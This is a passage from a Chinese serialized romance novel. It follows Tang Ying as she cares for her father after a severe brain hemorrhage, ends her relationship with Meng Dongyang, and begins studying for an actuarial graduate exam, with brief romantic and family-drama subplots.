她把脸枕在孟冬杨的肩膀上, “你帮我做设计吧, 你设计成什么样,我以后就住什么样的房子。” 孟冬杨跟她开玩笑:“我的服务费很高的。” “你又不是专业的设计师,拿什么乔啊。”她对着他的脖子轻轻吹气,“你走了我替你看家,我不收你看家费。” “装修的钱我一起出了,你要是不同意,我就不干。” “你不干什么?”唐盈的手伸了过去,“我看你很想……” 知道要分别,他们身体亲密的频率越来越高,激烈的程度不断在加深。 唐盈在高处震荡时,从欲望中感知到自己的内心,她只敢在性上打开自己,其实是一种割裂心理。 她对孟冬杨的爱,没有在身体和精神上形成统一。 “你想我了怎么办?”这句话是唐盈问的。 孟冬杨的耳朵被她的气息沁润着,她的声音在摇晃。 “我对这种事不像唐老师这么沉迷。”他不是只有在欲念上头的时候才会想她,他在任何时候都会想她。 “你就是年纪大了。” “我的身体很年轻,我还可以满足你很多年。” 情话在颠簸中助兴,也带来一些较劲心理。 孟冬杨的手掌在洁白柔软的地方留下可怖的痕迹。在这种时候他总想用力地抓住那只漂浮的气球,他不允许她离开他的岛屿。 家里有七八个小孩在,天气热,空调从早开到晚。彭芳数落唐盈赚这点钱还不够填水电费的。 她一语道破唐盈和孟冬杨之间的症结,“你自尊心这么强,就算孟冬杨不去美国,你们俩也迟早要分。” 唐盈说这不是自尊心的事,让彭芳不要再随意点评。 彭芳冷哼一声,“他是怕我念叨他吗,怎么也不来家里吃饭了。” “我怕你不高兴才不让他来的,不是他自己不想来。”唐盈说烦了,皱起眉头:“谈恋爱本来就是两个人的事,你跟我爸能不能别再对我们的事指手画脚。” “我倒要看看他走了你心里是什么滋味。”彭芳又问:“你爸这阵子还那么忙吗?最近也见你每天提醒他吃药。” “我发消息给他了。” “他那个性子,除非你打电话过去盯着他吃,否则他才不上心。” “好好好,我明天开始就打电话给他。” 这天傍晚下了一阵暴雨,气温看着降了几度,彭芳把空调关了,把家里的窗户都打开透气。 唐盈在补午觉,被热醒了,脑袋晕乎乎的,心里气得很,“这个月电费我交还不行吗?” 彭芳拿着蒲扇呼啦啦地扇风,“不是电费的事,我总觉得心里闷。” “你怎么了?”唐盈急忙爬起来走到彭芳面前,“我给你测个心率吧。” 彭芳捂着心口摆了摆手,“天气原因吧。” 唐盈看了看外面的天,说晚上不做饭了,她去楼下买点吃的对付一顿。 “小孟不来吃饭吗?”彭芳问。 唐盈轻嗤一声,“他不来你又念叨,你这人就是嘴硬心软。他要明天才来呢。” 下楼的时候唐盈的脑袋还是晕乎乎的,摸了摸额头,有点发烫,不知道是不是这几天吹空调吹生病了。 她走到三楼,手机响了,是翟莉打来的电话。 她一接听,翟莉就哭喊道:“唐盈,你爸晕倒了,脑出血,现在在医院里,医生说要立刻做手术……” 唐盈当即就往楼下跑,一口气跑出小巷,急匆匆地拦了辆出租车。路上给路晨打电话的时候,她手抖得连手机都握不住。 路晨先问她是不是自己开车,她拼命地摇了摇头。 “别着急别着急,人已经送手术室了,我去医院门口接你。” “出血量多少?”唐盈急声问。 “90毫升。” 唐盈的脑子一下子炸开。 她是做过功课的,路晨给她发的所有资料和注意事项她都烂熟于心。90毫升的脑出血意味着什么,她心里是有方向的。 “谁在给他做手术?怎么说你老师不在啊……”唐盈带着哭腔,语无伦次地重复着几句翟莉方才的话。 “别哭啊唐盈,我老师今天休息,但是我们副院长在,他亲自上了手术台……” 唐盈跑到手术室门口时,翟莉坐在椅子上泣不成声,挺着大肚子的梅馨陪在她身边。薛晓慧也赶来了,坐在翟莉的另一侧。 见唐盈来了,薛晓慧替翟莉把情况又解释了一遍。 人是下午四点在办公室里晕倒的,得亏一个进去送文件的同事及时发现,才没有耽误最佳救治时机。 现在正在做开颅手术,这个手术的成功率很高,但是术后有48小时危险期,挺过去了就能保命。 薛晓慧愁容满面:“不过就算是命保下来了,这个出血量,以后……以后生命质量也不高了。” 方才翟莉签手术同意书的时候,梅馨就已经听见了医生的话,即便人平安下了手术台,安稳地挺过危险期,往后也没办法像正常人一样生活了。 这会儿又听薛晓慧叙述一遍,她气愤道:“人在单位出的事,只有帮忙叫救护车的那个人有点良心,陪着来了医院,其他的人到现在也不露面。唐叔就是工作太累才会晕倒。” 没过多久,来了两个唐正光单位的领导,其中一个把翟莉叫去说话。 对方先是安抚了翟莉一番,而后就开始公事公办地聊重点。 梅馨凑过去听了一耳朵,意思是唐正光有基础病,如果人在48小时内死亡,那就按工伤赔付,但如果两天内人没走,那就无法按照工伤算赔。 梅馨当即就跟对方嚷嚷起来。 这位同事说,如果家属要是不认可,可以申请仲裁。 唐盈一个字也没听进去,他们所有人的影子在她眼前都是虚的,只有“手术中”三个字在她的视野里有清晰的呈现。 早就过了下班时间的路晨一直没走。他给唐盈递了水,她不肯喝,他塞给她糖,她也不接。 唐盈的眼泪掉了一阵子后,脸色回到木讷的状态,过了会儿,新一轮的眼泪又掉下来。 她始终没有发出声音,就这么静静地坐着、等待着。 彭芳在家里等消息,天色全暗下去后也没有开灯。 她坐在靠门最近的沙发上,把门盯出一个洞。 胡思乱想的时候她在搜索引擎里输入“脑出血90毫升”这样的关键字,看了一些文字后,她想,往后老唐恐怕很难在爬上这破旧的五楼,来家里跟她吵架打嘴仗了。 孟冬杨收到消息时,五个半小时的手术已经结束。凌晨一点半,他从霓城开车去青阳。 ICU门口坐着七八个家属,他们都在守护跟危险期斗争的亲人。唐盈和翟莉坐在正对着门的位置,两人之间隔着一个空位,翟莉的头低垂着,唐盈的目光平直地看着那道门。 唐盈的手被孟冬杨抓住,她回头看他,红肿的眼睛忽然间蓄满新的眼泪。 她抑制着哭腔对孟冬杨说:“我最近没有给他打电话,怪我没有给他打电话,我数了他的药片,他少吃了,他少吃了……” 孟冬杨将她抱进怀里,发现她脑袋滚烫,确认她在发烧后,想带她去量个体温。 唐盈说什么都不肯走。 翟莉在一边相劝道:“去休息一会儿吧,你要是也垮了,我连个商量的人都没了。” 唐盈还是不肯走。 孟冬杨很快拿来体温计和退烧药,给唐盈量了体温后让她把药吃下。 他搂着她,让她阖眼养一会儿神。 唐盈闭上眼睛几分钟后就睁开,她死死地抓着孟冬杨的手,想张口说话,声音却卡在喉咙里。 她微微张着嘴,眼泪浸湿了孟冬杨的衬衫。 天还没亮彭芳就来了医院,她带了热牛奶给唐盈,也给翟莉和孟冬杨带了早餐。 她不知道唐盈发烧了,听说后拿走她手里的牛奶,下楼去给她买白粥。 唐盈不喜欢喝白米粥,医院食堂里又没有白糖,她怕唐盈喝不下去,去超市里买了白砂糖,倒进粥里,这才拿上去给唐盈喝。 上午来了好几个唐家的亲戚,问了问情况,待了一会儿后就走了,只有唐久安夫妇和唐盈的大堂姐,一直守候到傍晚才离开。 晚上梅馨和谷瑞安来了,梅馨过来劝唐盈回家休息一晚,劝不动,让谷瑞安去劝,谷瑞安看了眼陪在她身边的孟冬杨,脚迈出去后又收了回来。 对唐盈来说,这48小时是一场惊涛骇浪的噩梦。来来往往的人都没有在她心里留下任何痕迹,只有进出ICU的医护人员能吸引她的注意力。 这48小时里,ICU里有三位病人离世。每听见一场哀恸的哭泣,唐盈都会跟着大哭一场。 她一步也没有离开过这层楼,累了就靠在妈妈或者孟冬杨的肩膀上睡一会儿。孟冬杨也始终没有离开过医院。 唐正光脱离危险期后,唐盈和翟莉轮流进入ICU看他。看见爸爸满身插着管子躺在病床上,唐盈的心像被棱角锋利的重石狠狠压住。 医生说,要等生命体征平稳后,唐正光才能从ICU出去。 唐盈被妈妈劝回去洗澡休息。 昏睡了十五个小时后,她脸都没洗,就又带上东西去了医院ICU门口。 【作者有话说】 抱歉,最近事情太多了,双更一直没补上,周末两天我尽量补~ 100个红包~ 第44章 一场梦 一周后, 唐正光从ICU转入普通病房。 薛晓慧打了关照,安排了最好的护工来料理他。 护工第一次当着亲属的面做清理工作时,薛晓慧把唐盈拉出了病房。 薛晓慧跟唐盈说:“护理上的事, 你好多都做不了,跟你翟阿姨商量一下分工,做好长期照顾你爸爸的准备。” 她又拉了拉唐盈的手,“梅馨快要生了, 往后你翟阿姨肯定那头也要顾, 这个你要理解, 毕竟她跟你爸结婚还没有一年, 说难听点,他们之间又能有多少夫妻情分呢。你爸到底还是得指望你这个亲女儿。不过你放心,我们这些亲戚能帮的都会帮。” 谷瑞安陪着梅馨来给翟莉送饭,看见薛晓慧和唐盈站在走廊上说话,下意识地挪开视线。 唐盈薄的像一片被雨水打湿的叶子,眼睛里一点神采也没有。她的世界变了。 梅馨揶揄谷瑞安道:“她这样, 谁见了都会心疼, 你要想去安慰几句你就去。但你别忘了,她还有个孟冬杨呢, 孟冬杨能负担唐叔所有的费用,还能从外地请专家来给唐叔会诊,这些你可做不到。” 谷瑞安没理会梅馨的冷嘲热讽。 梅馨又哼笑一声, “我妈才是最不容易的,你多心疼心疼你丈母娘吧。” 唐正光住的是双人间,隔壁的患者也是一位男性。 这位患者跟他情况差不多, 但是脑出血量小, 现在术后半个月, 他睁开眼后,除了下半身不能动,说话磕磕绊绊,其他功能并未受到损伤。 他能认识他的家人。 唐盈一步步在接受爸爸不能动、不能睁眼,待他终于睁开了眼睛,又说服自己去接受他无法说话、无法表达情绪。 可无论如何,她都不能接受爸爸好像失去了所有的记忆和所有的情感感知。 不管她说什么做什么,爸爸都只能呆呆地看着她。 “我不是非要他记得我,可是他什么都感觉不到,不能动不能自主进食,他躺在那里该有多难受啊。” 孟冬杨看着唐盈的脸,她爸爸的病程走到这个阶段,她的心态触了一个又一个底,除了爸爸的命保了下来,其他的一切都是最坏的结果,她一直在逼迫自己接受现实。 “他会不会什么都知道,但是他表达不出来,他的心脏还没有坏,他的眼睛能看东西……”唐盈停了下来,“他再也不能跟我斗嘴了是不是?” 安慰的话孟冬杨已经说过太多,他陪着她走过了这段时间每一个难熬的时刻。 如今他所掌握的医学知识已经不比她少,他用最温和的话术把专家的话讲给她听。 唐盈汲取到最重要的两个字——陪伴。 彭文君一到周末就赶回青阳,在医院待一个周末,替换唐盈,让她回家休息。姐妹俩都上心,翟莉内心宽慰许多。 这天大家都在,翟莉把近日来的医院账单拿出来给唐盈看,扣除医保,花费的钱不算太多,往后的医疗费用,唐正光的工资基本上能对付,但是护工这一块,费用高,还无法报销,需要大家拿出个态度。 翟莉的意思是,先从她跟唐正光的积蓄里拿,再往后,或许就需要两姐妹帮忙一起分担。 大家和平友好地协商,看似一切都在走上正轨。 唐盈现在最愿意做的事就是跟爸爸说话。从小时候的烦恼说到现在的生活,过去从来没让他知晓的秘密,对他的感情和抱怨,她事无巨细地说给他听。 她给他播放他年轻时喜欢听的歌,在他睁眼时给他看他意气风发的旧照片。有一回,他听着看着,眼角微微湿润,她立刻把路晨叫来,问爸爸是不是有了情感感知。 她最常说的一句话就是:还认识我吗?要是还记得,你就眨眨眼睛吧。 偶尔老唐恰好眨了眼,她这一天都会很开心。 盛夏来临后,唐正光在大家的悉心照料下,手掌有了抓握的能力,在听见熟悉的声音时,隐约会做出一些微表情反应。 但他在其他方面也有退化的迹象,还有怎么料理都无法彻底防御的褥疮。 这日他肠胃出现问题,护工都差点没了耐心。 孟冬杨来看望,唐盈将他拦在门外,她说:“里面脏。” 时间久了,唐盈的心态平稳了,注意力回归一部分到孟冬杨的身上。 这段时间这个男人对她而言,既是朝夕相伴无微不至的恋人,也是人生关卡不离不弃的盟友。 她对他有感激、有依赖、有歉疚,也滋生出另一个层次的爱。 孟冬杨帮唐盈设计好了她的新房,正安排人装修。 彭芳问唐盈费用的问题,唐盈默认孟冬杨替她负担了。 “他什么时候走?” 唐盈摇了摇头。 彭芳抿唇,“小孟能为你做到这个地步,你要好好想想接下来两个人怎么办才好。” 周日彭文君来换班后,唐盈要孟冬杨陪她去游泳。 唐盈很久没这么放松过了,可惜体力不佳,游了一个来回后就累倒在岸上。 孟冬杨也很久没锻炼了,薄肌的线条是靠少食在维持。 唐盈坐在躺椅上,抱着膝盖看着他:“以前我妈跟我说,要经历事,才能看清楚一个人。我一直在想,我们俩之间,会发生什么事呢。回过头来想,你家里发生事情的时候,我很自私地回避了,因为我默认你们有钱人就该内心强大,我很狭隘,这跟我狭窄的眼界浅薄的生活阅历导致的。但是当我遇到事的时候,你一点也没有躲开。” 他每天陪她东奔西跑,看她崩溃掉眼泪,承受她无数的负面情绪,接受她脱离恋爱的状态,接受他们之间两个月来一次性生活也没有。 他从来没有在任何一个时刻,对她,对现有的情感状态,流露出过任何一点厌倦的情绪。 她在病房里跟她爸爸说话,给她爸爸擦拭、喂水,教爸爸手指精细锻炼时,他经常在一旁耐心地陪伴。 病房里有难闻的气味,堆砌着病人和陪护家属乱成一团的生活杂物,亲戚朋友和医护人员频繁往来,他常常需要忍耐、等待,甚至是需要进行一些人情上的交际,例如要跟唐家的亲戚寒暄打照面。 在唐盈没有顾及到他的时刻,他没有半句怨言。 她要怎么感谢他才好呢。 他对她的好,不是有修养和责任心就能做到的。她知道,他心里有她,他在乎她。 可是他愿意爱现在这样的她,是在做一个向下的选择,她要回馈,就要得向上走。 她没有力气向上走,也没有能力往上爬。他们的心态、生活状态、思维、阅历差距会越来越大。 更不谈他要去往很远的地方。 她忽然好沮丧,为自己没有精力和时间去爱他而沮丧,为自己没有能力去爱他而沮丧。 更为自己终将要失去他而心痛。 最遗憾的是,她不能在这种时刻说她也很爱他。 这是很功利的表白,是不适合在这种状态下该进行的表白。 她只能对他说,好累啊,还是算了吧。 “那天我回到家,打开你送我的那条小红花手链,在网上查了下价格,是我两年的工资,我虽然很惶恐,但是心里沾沾自喜。你说得对,认识你之后,我打开了自己的欲望。你对我来说是一个新世界,只可惜我眼界太窄,能力匹配不上欲望,既想要,又自卑,就只能用清高来掩饰我的真心,导致对你的喜欢总是磕磕绊绊的。” 唐盈垂下眼眸,“往后我的生活只会更窄,好多计划会落空,人生的方向也不知道在哪里……” 孟冬杨能听懂唐盈所有的表达,含蓄的、隐晦的、放低姿态的、深刻的、词不达意的、言不由衷的,所有的他都能明白。 她是什么样的女孩,经历过什么样的人生,对生活有什么样的思考,对未来抱有什么期待,一路走来,他全数看在眼里。 他伸出手,捧住她的脸颊,凝视她低垂的眼睛,“不要推开我,我想一直陪着你。” 唐盈的眼泪掉了下来。 从“我想让你陪着我”到“我想一直陪着你”,从冬到夏,从经历背叛到经历变故,一直都是他在守候着她。 “可是会好累啊,孟冬杨,我没有力气去爱你了。分开会让我们都轻松一点。你总是说我恃宠而骄,你能不能再包容我最后一次。我知道你对我好。” 唐盈上班的第一天,教导主任代表校方给了她一笔抚恤款,钱不多,是同事们的一份心意。 中午她赶去医院给爸爸做流食,把这笔钱交给了翟莉。 梅馨马上就要生了,谷瑞安的父母不管,重担落到了翟莉的头上。 翟莉在唐盈面前哭了起来,“那你一个人怎么办?” 唐盈说她妈妈会帮忙分担一点,让翟莉不要想太多。 彭芳买了破壁机,每天一大早去市场买新鲜的食材,回来给唐正光做流食。 日子久了,她也不是一点怨言都没有。 流食日日要做,日日要送,不知道什么时候是个头。 遇到下雨天路况不好的时候,她会对唐盈表达出烦躁的情绪,“我不是为她翟莉做的,我是为你做的。” 见唐盈不吱声,她又问:“那谷瑞安爸妈真就一点也不管梅馨的小孩?” 具体情况唐盈不知道,前几天谷瑞安偷偷塞给她一个红包,说是她一个人守在医院辛苦了。 她没收,也没跟谷瑞安多说话。 孟冬杨给唐盈留了一笔钱,她不知道这算不算是分手费。孟冬杨始终没有回复她分手的提议。 为了安抚妈妈的情绪,唐盈把这笔钱交到她手上。 彭芳被她的这个行为气着了,拍着桌板说道:“我做做饭辛苦什么啦,我是心疼你啊,你年纪轻轻地就耗在这上面了,本来想去读研读不了,恋爱也谈不下去了……” “妈,如果有一天你也动不了了,我也会这样照顾你。” “我不会让自己有这么一天的,我要是生了大病,我就一死了之,我绝对不拖累自己的女儿!” 这天唐盈下班后来到病房,唐正光的被子被掀开了,身下一片混乱,护工不在,她请护士过来,问是什么情况。 护士说,没有几个护士是不偷懒的,这些外包的护工不归医院管,家属不盯,他们平时也不好说什么。 唐盈跟翟莉商量换一个护工,想请一个价格更高人品更好的。 翟莉忙着带外孙,让唐盈自己拿主意。 过去翟莉再忙,一两天也会来看一趟,渐渐的,变成三四天来看一趟,现在,一周下来也见不到她的影子一回。 薛晓慧说夫妻情薄就是如此。 翟莉来的少了,唐久安夫妇和唐家其他几个亲戚自觉地关照起唐盈来,大家轮流来探望陪护,能让唐盈偶尔有个喘息。 大堂姐问唐盈:“小孟就这样走了吗?” 唐盈说他们分手了。 一旁的薛晓慧露出稀松平常的神情,安慰唐盈道:“他能陪你熬过头几个月,算他尽心了。” 唐盈已经很感激他们没在她最难的时候点评她和孟冬杨的事情。现在无论他们要说什么,她都可以接受。 唐久安对她说:“在我们这个小地方生活,亲戚之间的情谊是最重要的。经历了这么一大圈,你应该也成长了不少。” 唐盈明白大哥话里的意思,内心很平静地对他跟大嫂说了句对不起。 这句话对不起落地,她回顾她跟孟冬杨的这一段旅程,觉得就像一场不真实的梦境。 ? 圣塔之夏 第45章 新方向 唐盈正愁找不到有责任心的护工时, 一个五十出头看起来身体强健的男人主动找上门来。 他给唐盈看了他的各项证书,他不仅擅长护理,还懂得帮偏瘫的病人做康复训练, 算是这个行业里的专业人士。 但是他太贵了,唐盈请不起。 男人妥帖地说道:“你就叫我陈叔吧,我的工资问题孟先生已经解决好了。” 孟冬杨支付了陈叔两年的工资,托他悉心照料老唐。让唐盈无法拒绝的理由也提前同陈叔商量清楚。 陈叔对唐盈说, 他有两个还没上大学的小孩要养, 他非常需要赚这份钱。 唐盈向陈叔打探他的具体薪水, 好记下帐, 来日一起偿还。陈叔不肯透露,她只好按特级护工的薪资来计算。 她心里打给孟冬杨的那张欠条,欠款额一直在增加。 新房装修时她去验收,也没有要到任何单据。 苏洋洋的哥哥是开装修公司的,他给唐盈的新房装修做了个估价,说至少花了三十万。 看见唐盈在记账, 刚回国不久的苏洋洋拧眉叹气, “你这恋爱谈的啊……” 苏洋洋从援非医疗队回来后,从青阳二院调到了人民医院妇产科。现在没事就往老唐的病房跑, 每次来都不空手,给唐盈带各种奶茶小零食,还帮着陈叔给老唐做按摩。 这日她在病房里陪唐盈说话, 路晨带了他爸给他炖的鸡汤来给唐盈喝。 路晨对唐盈的心意明眼人都看得出来,尤其是当孟冬杨不再出现后,他不再避嫌, 日日都来关照唐盈。 苏洋洋将路晨拦在办公室门口, “喜欢就表白啊。” 路晨却是摇了摇头。 大家都知道唐盈不可能在这种时候考虑恋爱的事, 也知道她心里有放不下的人。 好太阳的天气,唐盈和陈叔把老唐带到楼下院子里晒太阳。 身体萎缩后的老唐体重从160斤逐渐降到110斤,偶尔陈叔休息不在,唐盈靠自己的力气也能挪动爸爸。 翟莉带着满百天的外孙的来看老唐,握着婴儿车里孩子的小手,告诉他这是生病的外公。 苏洋洋在一旁皱眉毛,“她还真就甩手不管了?这不是谷瑞安爸妈心心念念要的孙子嘛,谷瑞安家里怎么不管?” 梅馨至今都没有跟谷瑞安领证。谷父谷母为了把资产拢在自己手上,在拆迁时选择了拿房,给的四套房都在安置小区,离主城区很远,生活很不便利。 谷瑞安爸妈的意思是,两个儿子各给一套房,说是给,可房本上还是写着他们老两口的名字。谷瑞安的大嫂和梅馨都很不满意。 他爸妈为了把孙子留在家里,想用十万块钱把梅馨安抚住,梅馨觉得他们在打发叫花子,一气之下孩子都不姓谷了,现在跟她姓由她养。 谷瑞安日日夹在中间难做人。 梅馨的甜品店遭遇各种竞争后境况堪忧,近来准备关店。她从外地拉来一个投资商,打算开一个月子中心。她这一折腾起来,带孩子的事就全落在翟莉身上。 苏洋洋说这家子也是鸡飞狗跳。 “梅馨这人真挺神的,烂事做了一大堆,也没多喜欢谷瑞安就给他生孩子,孩子生了又扔给她妈,一整个折腾自己报复全家。” 又问唐盈:“你现在看他们跟这个孩子,心里觉得膈应吗?”她听见翟莉让这孩子叫唐盈小姨,就觉得无比恶心。 唐盈摇了摇头,她早就对这些事无感了。被人情世故困住的时候,她会觉得累,但不再感到痛苦。 “洋洋,外面的世界是什么样的?你还想再出去吗?” “有机会我肯定还要出去的,不然我法语都白学了。这点死工资够什么用啊。” “学法语比英语难吗?” “你又不是不知道,我选上医疗队后去霓城苦学了半年语言后才去非洲的。” 唐盈点点头,“有这段经历特别好吧。” “人嘛,总是走得越远眼界越宽广。”苏洋洋又一摊手,“可是机遇可遇不可求。一晃,我们都二十六了。” 从前把唐盈困在小城的是她的恋爱,现在困住她的是她逃避不了的现实。但是她心里很清楚,能把一个人困住的绝不是一个地方和某个人。 彭文君带着汐汐和弟弟回来给唐盈过生日,订了蛋糕,彭芳烧了一桌子唐盈喜欢吃的菜。 唐盈准备从医院离开时,陈叔拿给她一盒巧克力,祝她生日快乐。 她刚走到电梯口,路晨小跑着过来把她拦下,说耽误她五分钟的时间,要带她去个地方。 唐盈被带到医院天台上的一个小隔间里,这里光线暗淡,像是从日光里隔绝出来的一个暗色空间。 路晨从袋子里拿出一个星星灯,点亮后,两个人的影子打在墙壁上。 “生日快乐。” 唐盈的眼睛被照亮,她的视线从光芒移至路晨明亮的脸上,真挚地说了声谢谢。 路晨并不擅长上演浪漫的桥段,他微微羞涩地说:“即使站在黑暗里,还是希望你能拥有光。你总要走出这间屋子的,你看看,外面的天气真好。唐盈,你的人生会好的。” 路晨把路让开,让唐盈先踏出了这间黑暗的屋子。 外头的日光真的很刺眼,她生日这天,是个好晴天。 新一岁,新希望,她伸手触了触暖阳,盼望着,心里也可以早点变得明亮。 晚上和姐姐躺在床上时,唐盈告诉彭文君,周昊阳来看过老唐好几次。 彭文君默不作声。 唐盈问:“这半年你每周都回来看爸,应该跟他见过面吧。” 见过的,还不止一次。 周昊阳去医院里陪过她,去车站接过她,两人吃过好几次饭,也在无人的小巷里上演过互相取暖的桥段。 彭文君问:“你觉得我是那种会出轨的人吗?” 唐盈轻轻地呼了口气,“我每天都希望你可以立刻离婚。” 暑假里,汐汐给唐盈打过一次电话,说爸爸对妈妈不好,那周彭文君来,大腿上有拧伤的乌青。 彭文君让唐盈不要告诉彭芳。 在那之后汐汐的手表电话就被没收了。 “姐,是我太没用了,你总是把我护在身后,我却什么也为你做不了。” 彭文君淡声说道:“你跟妈都不需要对我的婚姻负责。” 不离婚,要忍受无性婚姻和一个随时会无能狂怒的丈夫,离了婚,精神和□□都自由了,但是两个孩子再也无法拥有完整的家庭。 女儿似乎渐渐地能理解她,经常会在她独自流泪的时候劝她跟爸爸分开,可是小儿子只会抱着她的腿求妈妈不要丢掉他。 林律师能帮她争取到汐汐的抚养权,但是她想带走弟弟却很难。 她每一天都在煎熬中做抉择。 “那天我跟周昊阳去酒店了,脱掉衣服后,他看见我肚子上的剖腹产伤痕,立刻就出戏了。我也出戏了,他是突然反应过来,我已经跟别的男人生过两个小孩了,我也突然反应过来,我想找个男人发泄欲望,这个人就一定要是前男友吗?十年过去了,我跟他之间哪还有什么爱情,不过是一点遗憾罢了。” 彭文君自嘲道:“连出轨都不敢找个更优质的男人,还要去吃回头草,我好鄙视我自己。” 唐盈从背后把姐姐抱住,“爸的身体每一天都在萎缩,器官也开始衰竭了,医生说他坚持不了太久了。爸要是走了,我就没什么负担了,你离婚吧,我帮你带小孩,让他们跟着我念书,你去过你想过的生活。” “你说什么傻话,你又不是为我跟爸妈活着的。”彭文君转过身来看着唐盈,“我离婚是迟早的事,汐汐和弟弟我也会带好,你跟妈都不用为我操心。” 她问道:“你跟孟冬杨还有联系吗?” 在唐盈看来,她跟孟冬杨算是和平分手。 他们没有删掉对方的联系方式,今天早上,孟冬杨发来一句“生日快乐”,她也客气地回复一句“谢谢”。 彭文君问:“就没聊点别的吗?” “能聊什么呢。爸的情况陈叔都会告诉他。” “他工作很忙吗?” “我不知道。”唐盈闭上眼睛,“睡吧,明天我带你去新房看看。” 隔天早上,汐汐和弟弟打开巧克力的盒子,在里面发现一张生日贺卡。巧克力是陈叔送的,生日贺卡上却是孟冬杨的字迹。 唐盈心里疑惑,这是他什么时候写下的? 她把贺卡收进书桌抽屉里,抽屉关上后又打开,把贺卡拿出来,夹在她最近看的书里。 路晨进病房,看见唐盈在看《利息理论》,问她是不是打算考研。 唐盈说待着也是待着,不做点什么事,心里会很空。 近来爸爸睡着的时间越来越长,她来医院四五个小时,有三四个小时他都在昏睡着。 路晨问:“还是打算考在职吗?” 唐盈暂时还没有方向。 这半年她看了很多心理学,得到一些新的感悟。她打算在专业上更精进一点,用这份学习的精力去抵消痛苦,去填补生活中的不甘心。 如果爸爸真的快要离她而去,那她必须要找到新的生活目标,否则她会一直困在原地。 寒冷的冬天,唐盈在温暖的病房里给老唐读她的专业书。 她也不管爸爸能不能听懂,她一边读一边算题,自己学什么,就让爸爸听什么。 陈叔说,她要是想考精算类研究生,南开、人大、复旦,都是很好的选择。 唐盈淡笑道:“你说的这些我怕是都考不上。” 陈叔鼓励她道:“我看你没问题,我就没见过比你心还静的姑娘。” 第46章 你看看我 翟莉说春节期间要来照顾老唐, 于是唐盈给陈叔放了一周假,让他回去陪妻子和孩子们过年。 除夕当天,大堂姐来病房探望老唐, 问怎么不见翟莉的人影。 唐盈正收拾着杂物柜,稍稍抬了下头,淡声道:“估计走不开吧。” “谷瑞安也放假了吧,他爸妈不带孩子就算了, 他自己也不带?就不能让他丈母娘脱几天手?” 彭芳刚巧来送饭, 接话道:“带孩子哪有那么容易, 八成是翟莉自己不放心把小孩交给小两口。” 大堂姐连忙走过去挽住彭芳的胳膊, “婶婶,他们是没良心的,还是你人好。” 彭芳皮笑肉不笑:“翟莉才是你婶婶,我可不是,我跟老唐都离了多少年了。要不是心疼唐盈,我才懒得天天来。” “只要有唐盈在, 你就是我婶婶。”大堂姐接过彭芳送来的流食, 想自己试试喂给老唐。 彭芳瞧她无从下手,将她拉开, 拿过消了毒的注射器,熟练地把液体食物打进插管里。 她用讥诮的口气对老唐说:“过年咯,可惜你这肠胃吃不了肉了。想吃肉不?想吃你眨眨眼睛。” 说完让唐盈往老唐的嘴里塞了颗薄薄的甜甜的压片糖。 看见这副情形, 大堂姐唉声叹气道:“到头来,还是你们一家三口在一处过年。早知道就不要分开了嘛,小叔要是不娶翟莉, 兴许就不会发生后来这些事。” 彭芳担心唐盈听了这些话心里不好难受, 让她去把自己带来的香肠和牛肉拿去分给今天值班的医护人员。 唐盈出门后, 大堂姐继续说道:“这就是命,小叔沾上那对母女,把唐盈的婚事给搅和没了,以为遇到了孟冬杨,你们日子能好过了,结果小叔又出事了,你看现在唐盈……” 彭芳打断她的话,嗤笑道:“我们家唐盈现在挺好的,她给她爸爸尽孝是应该的。她有我,有她姐姐,还有这么多关心她的朋友,以后她肯定会越来越好。有没有孟冬杨,她都能把自己的日子过好。” 护士长见到唐盈后逗她,说路医生为了陪她,几周前排班的时候就特地要求除夕夜值班。 唐盈已经解释过多次,她跟路晨只是正常的医患关系,可大家总有自己的想法。 “路医生在办公室呢。”护士长提醒唐盈。 另一个护士打趣说:“还用得着唐盈去找他嘛,等他事情做完,肯定就自觉地往唐盈爸爸的病房里钻了。” 路晨查完房,正巧快走到护士站,听到大家开自己跟唐盈的玩笑,知道唐盈脸皮薄,就没往女士们跟前凑,待唐盈走到转角后才默不作声地跟上去。 唐盈的帽子被轻轻地扯了下,她回过头,路晨摊开的手掌里有一包葡萄味的跳跳糖。 “哄小孩儿呢。”唐盈笑起来。 “隔壁病房的小孩给的,给你吃吧。” “好多年不吃这个了。” 路晨把糖塞进她衣服口袋里,“我给你带了好东西,等我忙完去找你。” 唐盈点了点头。 彭芳猜到路晨今天会往病房里凑,上午烧菜的时候专门做了一道他喜欢的糖醋里脊。 路晨见状,厚着脸皮留下来跟母女俩一起吃这顿病房里的年夜饭。 三个人围着小桌板上的四菜一汤,没有酒也没有饮料,只安静吃饭,气氛却十分温馨。 彭芳问路晨:“听说你都读博了,那以后应该不会长留在人民医院吧。” “咱们人民医院挺好的。”路晨谦虚地彭芳跟解释了一下学位问题,说博士学位是地方三甲重点科室的标配和门槛,他是硕士进医院后读的在职,算不上多么了不起。 彭芳听不懂这些,坚持认为博士在青阳这个小地方是很厉害的学历。心里闪过一个念头,看了眼闷声吃饭的唐盈,又把这个念头压了回去。 路医生再好,唐盈心里也没有给他的位置了。 吃完收拾好,唐盈打开路晨带给她的那一袋书,看见《概率论与数理统计》的侧面贴着x大图书馆的字样,往下翻,除了几本精算数学的考研通用教材之外,还有《寿险精算》和《风险理论》这种保险专硕的教材。 她暂时还没学到看这些教材的阶段,路晨此举算是将她往前推了一把。 路晨对她说:“不知道你具体想考什么方向,不过看得出来你对精算专业很感兴趣,所以我就托在X大读博的老同学帮忙借了几本书,你可以先看看,了解一下专业细分。” 唐盈道了声谢,说参考完后自己会买教材,寒假结束之前就把书还给他。 “我那里还有英语的复习资料,你要是需要,我也可以拿给你。不过你英语应该还挺不错的吧。” 唐盈皱眉摇头:“我英语很烂。” 路晨噗嗤一笑,“那我给你补补?” 两个年轻人聊着学习上的事,彭芳听不懂,觉得无聊,拿了水果出去洗,顺便去护士站跟护士们闲聊打发时间。 她走到走廊上,看见尽头处站着一个人影,很高,穿着深色的羽绒服,正背对着玻璃门打电话。 她快步走过去,看见很熟悉的背影,听见很熟悉的声音。 她立刻回病房去叫唐盈。 路晨从彭芳嘴里听见这个名字后,放下手里的书离开了病房。他走的时候,唐盈微微蹙着眉头在收拾手边的书。 彭芳推了唐盈一下,“你快去啊。” “知道了。”唐盈的语气非常轻,却仍能听出焦躁的情绪。书本被她横七竖八地塞进纸袋里。 出病房之前,唐盈快速地洗了手,擦手的时候看了眼镜子,忽然间有些不认识自己了。 她好像很久没有特意地看过镜子里自己的脸。 她这一刻才发现自己的头发长长了一些,刘海也因没有修剪而看起来毫无层次。 她胡乱地扎了个马尾,戴上一个口罩,往走廊尽头走去。 